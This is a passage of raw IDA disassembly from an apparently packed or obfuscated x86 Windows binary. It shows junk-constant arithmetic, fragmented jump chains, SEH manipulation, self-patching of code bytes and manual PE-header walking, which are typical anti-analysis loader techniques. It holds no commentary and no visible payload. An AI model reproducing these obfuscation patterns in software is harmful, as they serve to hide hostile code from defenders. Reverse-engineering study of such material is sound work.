SIZE 00000002 BYTES push ebx push ecx call sub_426A30 mov esp, [esp+8] loc_425B24: ; CODE XREF: sub_426E8C-25B1j ; sub_426E8C-25A6j ... xor eax, eax loc_425B26: ; CODE XREF: sub_427032-7DEj pop large dword ptr fs:0 pop edx pop ecx jmp loc_426A29 sub_425B19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425B34 proc near ; DATA XREF: sub_426354+2863o add edx, 30h mov eax, [ebp-10h] mov [ebp+eax-20h], dl call sub_426523 loc_425B43: ; CODE XREF: sub_426D02+75Cj jmp loc_427D24 sub_425B34 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF2 loc_425B48: ; CODE XREF: sub_425BF2:loc_427266j mov [ecx], ebx xchg esi, [edx] jmp loc_4290BA ; END OF FUNCTION CHUNK FOR sub_425BF2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_425B52: ; CODE XREF: hjohnhn9:004251ADj jmp loc_423591 ; --------------------------------------------------------------------------- loc_425B57: ; CODE XREF: hjohnhn9:00428227j pop esi mov eax, ds:dword_428394 or eax, eax jnz loc_4270B6 jmp loc_42886C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_425B6B: ; CODE XREF: sub_426475-32A6j push esi pop ebp adc ebp, 815C8186h xchg eax, ebx loc_425B75: ; CODE XREF: sub_426475:loc_4231C3j xor ecx, 2A87C29Dh add ecx, 0DE0DEAC2h call sub_4280D2 ; END OF FUNCTION CHUNK FOR sub_426475 ; START OF FUNCTION CHUNK FOR sub_428CC9 loc_425B86: ; CODE XREF: sub_428CC9-4E9Ej add eax, 0B9CCE796h xor eax, 0F605D27Eh call sub_426961 ; END OF FUNCTION CHUNK FOR sub_428CC9 ; START OF FUNCTION CHUNK FOR sub_4284CB loc_425B97: ; CODE XREF: sub_4284CB+1Dj jmp loc_427FBA ; END OF FUNCTION CHUNK FOR sub_4284CB ; --------------------------------------------------------------------------- push ecx jmp loc_423556 ; --------------------------------------------------------------------------- loc_425BA2: ; DATA XREF: sub_424631+378Bo push eax cmp dword ptr [ebp-14h], 5 setz al call sub_42392D pop ecx shl eax, 3 jmp loc_4249BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_425BB8: ; CODE XREF: hjohnhn9:0042330Cj ; sub_424161+1F17j ... lea eax, [ebp-14h] push ebp mov ebp, eax xchg ebp, [esp+0] push 4 jmp loc_4279DE ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282F8 loc_425BC8: ; CODE XREF: sub_4282F8:loc_426189j push offset loc_42768A jmp loc_426A5D ; END OF FUNCTION CHUNK FOR sub_4282F8 ; =============== S U B R O U T I N E ======================================= sub_425BD2 proc near ; DATA XREF: sub_42859A-D0Fo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423082 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423F21 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00424266 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424454 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424517 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042476D SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042477C SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00424AB4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E86 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00425AE1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425D5B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425F81 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426235 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004265B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004266A1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426EFE SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00427028 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427253 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427306 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004277E0 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00427881 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427951 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004286F1 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428B34 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428CAA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428DA6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00429008 SIZE 00000008 BYTES call sub_4279ED push eax loc_425BD8: ; CODE XREF: sub_428249:loc_427632j ror eax, 0Bh call sub_425F93 loc_425BE0: ; CODE XREF: hjohnhn9:loc_426344j jz loc_427951 jmp loc_424517 sub_425BD2 endp ; --------------------------------------------------------------------------- not esi jmp sub_428788 ; =============== S U B R O U T I N E ======================================= sub_425BF2 proc near ; CODE XREF: sub_427C9B-AF7p ; hjohnhn9:00427AE6j var_C = dword ptr -0Ch arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00425B48 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427260 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004281A3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004290BA SIZE 00000015 BYTES xchg eax, [esp+0] pop eax mov eax, [eax] or eax, eax jnz loc_4260A9 jmp loc_427260 sub_425BF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425C05: ; CODE XREF: sub_426354:loc_428388j mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] loc_425C11: ; CODE XREF: sub_4262C5:loc_428B67j or eax, edx jmp loc_427927 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_425C18: ; CODE XREF: sub_42355C+28BFj sbb ebx, 51ADD596h loc_425C1E: ; CODE XREF: sub_42355C:loc_425C40j call sub_424877 mov edx, 0F75CA70h call sub_4279ED push eax jmp loc_428542 ; END OF FUNCTION CHUNK FOR sub_42355C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_425C33: ; CODE XREF: sub_426F5A:loc_42365Dj push edx mov edx, eax call sub_42362A ; END OF FUNCTION CHUNK FOR sub_426F5A ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_425C3B: ; CODE XREF: sub_427AC0-33A9j jmp loc_4283A1 ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_425C40: ; CODE XREF: sub_42355C:loc_424E9Fj jz loc_425C1E jmp loc_425E06 ; END OF FUNCTION CHUNK FOR sub_42355C ; =============== S U B R O U T I N E ======================================= sub_425C4B proc near ; DATA XREF: hjohnhn9:00423B7Ao var_4 = dword ptr -4 xchg eax, [esp+0] push 1E9165C3h xchg ebp, [esp+4+var_4] sub_425C4B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424698 loc_425C56: ; CODE XREF: sub_424698+4554j mov ebx, ebp pop ebp and ebx, 0DFC7110Fh add ebx, 0E17EFEFDh jmp loc_423928 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- test ecx, ebp jmp loc_42487D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor ecx, 95DB5AA9h jmp sub_423FB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_425C7D: ; CODE XREF: sub_42363F:loc_4279BBj mov esp, ebp pop ebp mov eax, ds:dword_428B18 or eax, eax jnz loc_426FC7 jmp loc_424860 ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- loc_425C93: ; CODE XREF: hjohnhn9:00423DCAj mov ebp, 13519D39h ; =============== S U B R O U T I N E ======================================= sub_425C98 proc near ; CODE XREF: sub_425E5A+5p ; FUNCTION CHUNK AT 004264F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042877D SIZE 0000000B BYTES xchg esi, [esp+0] pop esi push ecx mov ecx, eax jmp loc_4264F0 sub_425C98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov [esi], eax jmp sub_425F93 ; --------------------------------------------------------------------------- ror edi, 4 jmp sub_428965 ; =============== S U B R O U T I N E ======================================= sub_425CB3 proc near ; CODE XREF: hjohnhn9:004250EAj ; sub_425BF2+34D2p var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 004232E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042383A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004240D4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004244B2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004267AC SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427860 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427B97 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push 0CE0AB7D1h xchg edx, [esp+0] mov ecx, edx pop edx loc_425CC2: ; CODE XREF: hjohnhn9:00424BBFj rol ecx, 1Fh xor ecx, 18FAA417h jmp loc_4232E6 sub_425CB3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275A3 loc_425CD0: ; CODE XREF: sub_4275A3-1459j sub ebp, ebx loc_425CD2: ; CODE XREF: sub_4275A3:loc_426139j push offset loc_424DB0 jmp loc_4231A8 ; END OF FUNCTION CHUNK FOR sub_4275A3 ; --------------------------------------------------------------------------- loc_425CDC: ; CODE XREF: hjohnhn9:00427530j push eax ror eax, 14h mov ds:dword_4233AC, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_425CE7: ; CODE XREF: hjohnhn9:loc_425066j ; sub_427564+13A8j rol eax, 14h push esi mov esi, eax xchg esi, [esp+4+var_4] jmp nullsub_75 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423753 loc_425CF5: ; CODE XREF: sub_423753+Ej jnz loc_428BAC jmp loc_427229 ; END OF FUNCTION CHUNK FOR sub_423753 ; --------------------------------------------------------------------------- loc_425D00: ; CODE XREF: hjohnhn9:00428C35j or eax, 8F41505Eh xor eax, 2EDC8CBBh and eax, 600A4B87h add eax, 0A0382512h popf xchg eax, [esp] jmp sub_4279ED ; --------------------------------------------------------------------------- push ebx jmp loc_424F1A ; =============== S U B R O U T I N E ======================================= sub_425D27 proc near ; CODE XREF: sub_42325E+2p ; hjohnhn9:00423FA1j arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg ecx, [esp-4+arg_0] ror eax, 9 mov ds:dword_428394, eax retn sub_425D27 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_425D38: ; CODE XREF: sub_427486+6j jmp loc_4271F2 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_425D3D: ; CODE XREF: sub_42466E+1DD6j jmp loc_424BD9 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42351F loc_425D42: ; CODE XREF: sub_42351F+7j jmp nullsub_13 ; END OF FUNCTION CHUNK FOR sub_42351F ; =============== S U B R O U T I N E ======================================= sub_425D47 proc near ; DATA XREF: hjohnhn9:00427691o add eax, 2 mov [ebp-0Ch], eax mov eax, [ebp-0Ch] call sub_4241E1 sub_425D47 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4266B5 loc_425D55: ; CODE XREF: sub_4266B5+4j jmp loc_428A6C ; END OF FUNCTION CHUNK FOR sub_4266B5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_425D5B: ; CODE XREF: sub_425BD2+31EBj jmp loc_427306 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- loc_425D60: ; CODE XREF: hjohnhn9:00427696j jmp locret_427BB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_425D65: ; CODE XREF: sub_426F5A+9j jmp loc_426BA8 ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- loc_425D6A: ; CODE XREF: hjohnhn9:00423B7Fj jmp locret_423F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_425D6F: ; CODE XREF: sub_4265CD:loc_427FB5j jl loc_4235F0 push ebp jmp sub_423AAF ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_425D7B: ; CODE XREF: sub_4236A7:loc_423BF6j add eax, 4 mov ebx, [eax] push ebx push 9A5A1A01h jmp loc_423087 ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- pop edx push eax push 0C91257B9h sbb edx, 3A6CB62Eh jmp loc_4264B7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230E0 loc_425D9E: ; CODE XREF: sub_4230E0+Dj jmp loc_42772C ; END OF FUNCTION CHUNK FOR sub_4230E0 ; --------------------------------------------------------------------------- loc_425DA3: ; CODE XREF: hjohnhn9:00425EC0j jo nullsub_98 ; START OF FUNCTION CHUNK FOR sub_42466E loc_425DA9: ; CODE XREF: sub_42466E:loc_42309Fj add eax, 34A89E1h xchg eax, [esp+0] jmp loc_42797F ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427363 loc_425DB7: ; CODE XREF: sub_427363:loc_4270C0j mov large fs:0, esp mov eax, [eax] mov eax, 1 jmp loc_427358 ; END OF FUNCTION CHUNK FOR sub_427363 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add eax, offset nullsub_2 mov byte ptr [eax], 0C3h jnb loc_423515 jmp loc_42462C ; --------------------------------------------------------------------------- loc_425DDE: ; CODE XREF: hjohnhn9:00427C94j jge loc_42390D ; =============== S U B R O U T I N E ======================================= sub_425DE4 proc near ; CODE XREF: sub_426604+7p xchg edx, [esp+0] pop edx push 0D200AD3Ch jmp loc_428129 sub_425DE4 endp ; --------------------------------------------------------------------------- loc_425DF2: ; CODE XREF: hjohnhn9:004274B4j pop ecx rol ecx, 1Bh xor ecx, 7A9DBC6Fh add eax, ecx pop ecx mov eax, [eax] jmp loc_42327E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_425E06: ; CODE XREF: sub_42355C+26EAj jo loc_42626A shr eax, 1Ch adc ecx, 0A57AE9C0h xor ecx, 0F54B0178h jmp loc_425C18 ; END OF FUNCTION CHUNK FOR sub_42355C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425E20: ; CODE XREF: sub_425BD2-1CA9j ; sub_426354:loc_427927j mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] and eax, 0FFh mov eax, ds:dword_4256DC[eax*4] call sub_427B51 loc_425E3A: ; CODE XREF: sub_428829+Aj jmp loc_425270 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- loc_425E3F: ; CODE XREF: hjohnhn9:0042690Dj jmp nullsub_119 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_425E44: ; CODE XREF: sub_4244F5+617j jmp loc_42681D ; END OF FUNCTION CHUNK FOR sub_4244F5 ; =============== S U B R O U T I N E ======================================= sub_425E49 proc near ; CODE XREF: sub_425EEA:loc_423E7Bp ; hjohnhn9:00424A6Fj xchg ecx, [esp+0] pop ecx mov eax, [ebp-4] push offset sub_428CC9 jmp nullsub_14 sub_425E49 endp ; =============== S U B R O U T I N E ======================================= sub_425E5A proc near call sub_4279ED call sub_425C98 sub_425E5A endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423B05 loc_425E64: ; CODE XREF: sub_423B05+4B2Cj jmp loc_427EE2 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_425E69: ; CODE XREF: sub_426475-2F89j jmp loc_42602D ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C09 loc_425E6E: ; CODE XREF: sub_426C09-35E4j xor ecx, 3684023Fh xor edi, 470493CFh cmp ecx, 0E7563046h jmp loc_428F8E ; END OF FUNCTION CHUNK FOR sub_426C09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_425E85: ; CODE XREF: sub_4279C0:loc_42507Bj mov ebx, esi xchg ebx, [esp+0] push eax pop esi xchg esi, [esp+0] jmp loc_42446C ; END OF FUNCTION CHUNK FOR sub_4279C0 ; =============== S U B R O U T I N E ======================================= sub_425E94 proc near ; CODE XREF: hjohnhn9:0042633Ap ; hjohnhn9:00426A24j ; FUNCTION CHUNK AT 0042673C SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push edx push offset sub_428BCF jmp loc_42673C sub_425E94 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C4E loc_425EA4: ; CODE XREF: sub_428C4E+22j jmp loc_426894 ; END OF FUNCTION CHUNK FOR sub_428C4E ; =============== S U B R O U T I N E ======================================= sub_425EA9 proc near ; CODE XREF: hjohnhn9:loc_423815p ; sub_425BD2:loc_4277E0j ... ; FUNCTION CHUNK AT 00424801 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004289C0 SIZE 00000005 BYTES mov eax, cs xor al, al or eax, eax jmp loc_4289C0 sub_425EA9 endp ; --------------------------------------------------------------------------- loc_425EB4: ; CODE XREF: hjohnhn9:00428234j jnb loc_4243D9 test ebp, 0EFCFED04h jmp loc_425DA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425EC5: ; CODE XREF: sub_426354-17EAj mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax loc_425ED0: ; CODE XREF: sub_424B4A:loc_42666Cj ; sub_427805j ... mov eax, [ebp-20h] movzx eax, byte ptr [eax] mov [ebp-1Ch], eax jb loc_426E12 jmp loc_424D6D ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- loc_425EE4: ; CODE XREF: hjohnhn9:00426DEDj sbb eax, 0C96DEF00h ; =============== S U B R O U T I N E ======================================= sub_425EEA proc near ; CODE XREF: sub_427564+D08p ; FUNCTION CHUNK AT 00423E7B SIZE 00000012 BYTES xchg edi, [esp+0] pop edi pop esi push 1Ch lea eax, [ebp-34h] push eax jmp loc_423E7B sub_425EEA endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_425EFB: ; CODE XREF: sub_423CDB+3ED1j jmp loc_42869B ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_425F00: ; CODE XREF: sub_426354+2413j jge loc_4275D2 ; END OF FUNCTION CHUNK FOR sub_426354 ; START OF FUNCTION CHUNK FOR sub_427DE6 loc_425F06: ; CODE XREF: sub_427DE6+1Fj jmp loc_426449 ; END OF FUNCTION CHUNK FOR sub_427DE6 ; --------------------------------------------------------------------------- push 0E2CE79D4h jmp loc_4275CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_425F15: ; CODE XREF: sub_426A78-2D29j jle loc_424E99 loc_425F1B: ; CODE XREF: sub_426A78:loc_423D47j or eax, 4D94C7ABh rol eax, 10h add eax, 188315A2h mov eax, [eax] or eax, eax jnz loc_428510 jmp loc_427436 ; END OF FUNCTION CHUNK FOR sub_426A78 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_425F3A: ; CODE XREF: sub_427852+8j jmp loc_428319 ; END OF FUNCTION CHUNK FOR sub_427852 ; =============== S U B R O U T I N E ======================================= sub_425F3F proc near ; DATA XREF: sub_4290CF-215Co ; FUNCTION CHUNK AT 00423456 SIZE 00000005 BYTES dec dword ptr [ebp-24h] jnz loc_42885B jmp loc_423456 sub_425F3F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_425F4D: ; CODE XREF: sub_4265CD-3096j rol eax, 17h push esi mov esi, edi xchg esi, [esp+0] jmp loc_4232EB ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_425F5B: ; CODE XREF: sub_4279C0:loc_4249D7j mov edi, ecx xchg edi, [esp+0] push 0FFFFFFF1h call sub_42472D push ebx jmp loc_42507B ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- locret_425F6D: ; CODE XREF: hjohnhn9:004266F8j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_425F6E: ; CODE XREF: hjohnhn9:00423165j ; sub_423BC3:loc_427825j jmp loc_4241BE ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- jbe loc_42497C rol ecx, 17h jmp sub_42645D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_425F81: ; CODE XREF: sub_425BD2:loc_427028j jns loc_423082 jmp loc_4277E0 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- sub esi, edx jmp loc_423B04 ; =============== S U B R O U T I N E ======================================= sub_425F93 proc near ; CODE XREF: sub_425BD2+9p ; hjohnhn9:00425CA6j xchg ebx, [esp+0] pop ebx mov ds:dword_423950, eax retn sub_425F93 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_425F9E: ; CODE XREF: sub_424819+26C7j jmp loc_426A03 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42859A loc_425FA3: ; CODE XREF: sub_4248B1j sub_42859A+6j rol eax, 0Bh push eax call sub_4244F5 jmp nullsub_55 ; END OF FUNCTION CHUNK FOR sub_42859A ; --------------------------------------------------------------------------- loc_425FB1: ; CODE XREF: hjohnhn9:00424DD2j mov byte ptr [eax], 0C3h call nullsub_1 call nullsub_117 call nullsub_119 mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_4239D3 jmp loc_4281D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4251EB loc_425FDC: ; CODE XREF: sub_4251EB:loc_4283BAj jz loc_4232DA push 5CCB0B2Eh jp loc_424954 jmp loc_4232D1 ; END OF FUNCTION CHUNK FOR sub_4251EB ; --------------------------------------------------------------------------- jnb sub_4283C9 cdq jmp sub_423E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4238CC loc_425FFE: ; CODE XREF: sub_4238CC+1Aj add eax, 3960E5C1h add eax, ebp add eax, 43C7FE34h mov eax, [eax] xor edx, eax pop eax add edx, 2 jmp loc_423F45 ; END OF FUNCTION CHUNK FOR sub_4238CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_426019: ; CODE XREF: sub_426671+Fj pop ebp mov eax, ds:dword_428B04 or eax, eax jnz loc_428551 jmp loc_427895 ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_42602D: ; CODE XREF: sub_426475:loc_425E69j xchg eax, [esp+4+var_4] push 7CD0134Eh pop ecx xor ecx, 749589EAh rol ecx, 5 jmp loc_427EA1 ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- pop ebp jmp loc_427C99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42604A: ; CODE XREF: sub_4260BD+26Aj shr eax, 15h test edx, ecx jmp loc_426D8C ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_426054: ; CODE XREF: sub_424161+30A2j adc eax, 0D6D0B437h loc_42605A: ; CODE XREF: sub_424161+438j xor edx, 136ECA97h add edx, 131DE3E6h add edx, ebp add edx, 78F92151h mov [edx], eax pop edx mov dword ptr [ebp-0Ch], 1 jmp loc_425BB8 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_42607D: ; CODE XREF: sub_42355C:loc_42743Bj sub eax, 6611ACDCh add eax, 4874857Dh mov eax, [eax] or eax, eax jnz loc_428551 jmp loc_424E9F ; END OF FUNCTION CHUNK FOR sub_42355C ; =============== S U B R O U T I N E ======================================= sub_426098 proc near ; CODE XREF: hjohnhn9:00423006j ; sub_427805+6p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi mov eax, 6 sub eax, [ebp-4] call sub_424181 loc_4260A9: ; CODE XREF: sub_425BF2+8j ; sub_42841F+Cj ... mov edx, [esp-4+arg_0] mov al, 1 call edx xor eax, eax retn sub_426098 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_4260B3: ; CODE XREF: sub_426CC8+1A10j jmp sub_427AEB ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4260B8: ; CODE XREF: sub_42304F+21j ; sub_423444+3CB0j jmp loc_424218 ; END OF FUNCTION CHUNK FOR sub_42304F ; =============== S U B R O U T I N E ======================================= sub_4260BD proc near ; CODE XREF: sub_426475:loc_4234D8p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423A50 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00423BF1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423CA1 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042409B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042497B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00424A12 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424DB8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042604A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426325 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426D8C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00426E4D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426EE5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427431 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042763E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427714 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042794A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004282E4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428337 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042873A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429032 SIZE 0000000C BYTES push edi jmp loc_42873A sub_4260BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_4260C3: ; CODE XREF: sub_427C9B:loc_427CB9j mov esi, 0C4B77320h jmp loc_4289DB ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F85 loc_4260CD: ; CODE XREF: sub_426F85+Ej cmp dword ptr [ebp-4], 0 jz loc_428EEB mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h jmp loc_428D00 ; END OF FUNCTION CHUNK FOR sub_426F85 ; --------------------------------------------------------------------------- loc_4260EA: ; CODE XREF: hjohnhn9:004251A2j sub esi, 329C18AFh xor esi, 91F0F70Bh xchg esi, [esp] ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_4260F9: ; CODE XREF: sub_423BC3+53F7j mov eax, [ebp-8] push ebp jmp loc_424FE3 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- loc_426102: ; CODE XREF: hjohnhn9:004266DEj mov byte ptr [eax], 64h inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] jmp loc_428621 ; --------------------------------------------------------------------------- loc_426116: ; DATA XREF: sub_426523+1F40o inc dword ptr [ebp-10h] push offset loc_426F35 